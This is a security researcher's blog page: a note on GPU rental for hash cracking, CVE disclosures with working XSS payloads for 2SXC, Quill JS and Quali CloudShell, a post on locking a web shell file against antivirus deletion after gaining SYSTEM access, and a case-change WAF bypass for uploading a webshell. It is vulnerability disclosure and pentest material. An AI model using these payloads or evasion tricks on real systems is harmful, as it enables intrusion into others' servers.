Hash Cracking with Rental AI GPUs

I've been doing a lot with fast.ai lately and really enjoying it. The worst part about AI is how long it takes to train a model, realize you messed up, change it, then do it again. A fast machine makes all the difference.

So when this guy was looking to do some hashcracking, and would have otherwise needed to borrow a bunch of physical graphic cards, I thought it would be a great time to suggest trying AI rental GPUs to do it. I think the implementation turned out great, check out his blog for details: 

https://www.scrawledsecurityblog.com/2020/11/cracking-password-hashes-on-cheap-how.html

Note: we couldn't really use fast.ai Gradient/paperspace, since those free tiers are public by default. Obviously that wouldn't be great security. So the article describes vast.ai (I know, I thought it was a typo at first!)

CVE-2020-26885 - XSS in 2SXC

Reflected XSS via the sxcver parameter on the /DesktopModles/tosic_sexycontent/dist/dnn/ui.html page by using the payload:

 

"><IMG%20SRC=%23%20onerror="alert('xss')">

2SIC was very fast to respond and super great to work with! This has been remediated with this update here: (https://github.com/2sic/eav-item-dialog-angular/blob/develop/projects/ng-dialogs/src/index.html#L33-L42) and they published a helpful notice on their blog here: (https://2SXC.org/en/blog/post/2sxc-security-notification-2021-001)

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

CVE-2021-3163 - Stored XSS Slab Quill JS

 XSS in the WYSIWYG HTML editor by abusing the image tag.

 

For example, in the POST request when adding a comment, add this payload to the field with the comment text by using an interception proxy like BurpSuite:

 

<div><image src=validateNonExistantImage.png onloadstart=alert(1337)> hey girl hey </div>

Now the payload is stored on the page. When the next user visits, the XSS will execute.

This is a good example of why client side validation does not stop attackers who routinely bypass validation by interacting with APIs and server side endpoints directly.

https://github.com/quilljs/quill/issues/3273

I reported this to LinkedIn since they are using QuillJS, but they only have a private bug bounty program.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3163

NOTE: Though the CVE is marked as "disputed", it is a very basic stored XSS has been easily reproducible. They seemed to accept this explanation and remediation note in issue #3558, but as of September 2022, the issue is still open and there doesn't seem to be a security patch in place, so it's still exploitable. As explained here, in order to fix it, there needs to be server side sanitation in addition to the client side validation that they're already using:

https://github.com/quilljs/quill/issues/3558

More discussion here, where I comment as "burninatorsec2":

https://github.com/quilljs/quill/issues/3364

Bamboozle D 3 f en d e r Effortlessly (BDE) - File Lock on Shell Code

Still confirming this is working the way I intend it, updates and detailed POC to follow...

I found RCE in a web application, and place a web shell file in a publicly facing directory on the server. However, AV keeps deleting it, so as part of my command injection, I spin up a process to put a file handle on the shell. Even though defender is detecting it, it's not deleting it. (I know it's detecting it because I've also gained remote desktop access and can see the alerts.)

In the past I have focused mainly on detection evasion but deletion evasion is looking a lot easier right now.

UPDATE: Well, turns out my webshell was a low-priv account, but the process I was doing command injection through was running as NT AUTHORITY\SYSTEM, so woot! No wonder I can successfully lock the webshell file using a process that starts on startup. This doesn't work for Meterpreter payloads that spin off their own processes that then become detected. So maybe it works, but it's limited.

Sidenote:

A bit about how difficult it was to figure out I was root when my RCE was Java arbitrary code execution...

The webshell was written to C:\inetpub\wwwroot by my Java process. It executed commands as a low privilege AppPool type IIS user. Running whoami through the shell will tell you this

Asking the Java Virtual Machine  was a little useless. Calling System.getProperty("user.name") just returns the USERNAME environment variable from (I believe) when the JVM was initiated. This gave me PC-NAME$ where PC was the domain name of another user I got access another way, i.e. PC-NAME\otheruser.

FINALLY I got the idea to run "cmd.exe /c whoami" directly through the Java injection, write the results to a publicly served directory and check out the results. NT AUTHORITY\SYSTEM! Whew! At this point I guess I don't need evasion, I could just turn off the AV!

Palo Alto Networks - WAF Bypass for Webshell

I originally found/reported to Palo Alto in 2018.

You can use the default Kali Linux aspx webshell to get RCE on a server protected by Palo Alto Networks... as long as you change the "m" in cmd.exe to an "M".

That's it! That's the whole hack..! It bypasses the whitelist.

So my discovery process...

While I was trying to upload my webshell, I noticed the font of the error looked different than the rest of the application. I googled the wording, trying to figure out what service was displaying it. It looked similar to an image of a Palo Alto dialog:

Mine:

Theirs:

 

Close enough - I assumed I was dealing with a Palo Alto firewall. The logs confirmed this was true. The bypass worked and eventually I upgraded my webshell to a Meterpreter shell. The Palo Alto WAF bypass process wasn't fancy, but it was instrumental in owning the server.

 

 

 

CVE-2020-26885 XSS in Anchor Tags

For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:

/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

CVE-2020-15864 - XSS in Quali CloudShell Login

Payload:

{{constructor.constructor(%27alert(19891337)%27)()}

Add "username" as a parameter to the login URL to reference the username field of the Quali CloudShell login page, and the JavaScript will execute when they visit the URL, i.e.

https://victim/Account/Login?ReturnUrl%252fAccount%252f%&username={{constructor.constructor(%27alert(1337)%27)()}}

 

Note: <sCript>alert(1337)<scRipt> works too, but isn't as dangerous because it won't autoload through the URL like the constructor payload does.

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15864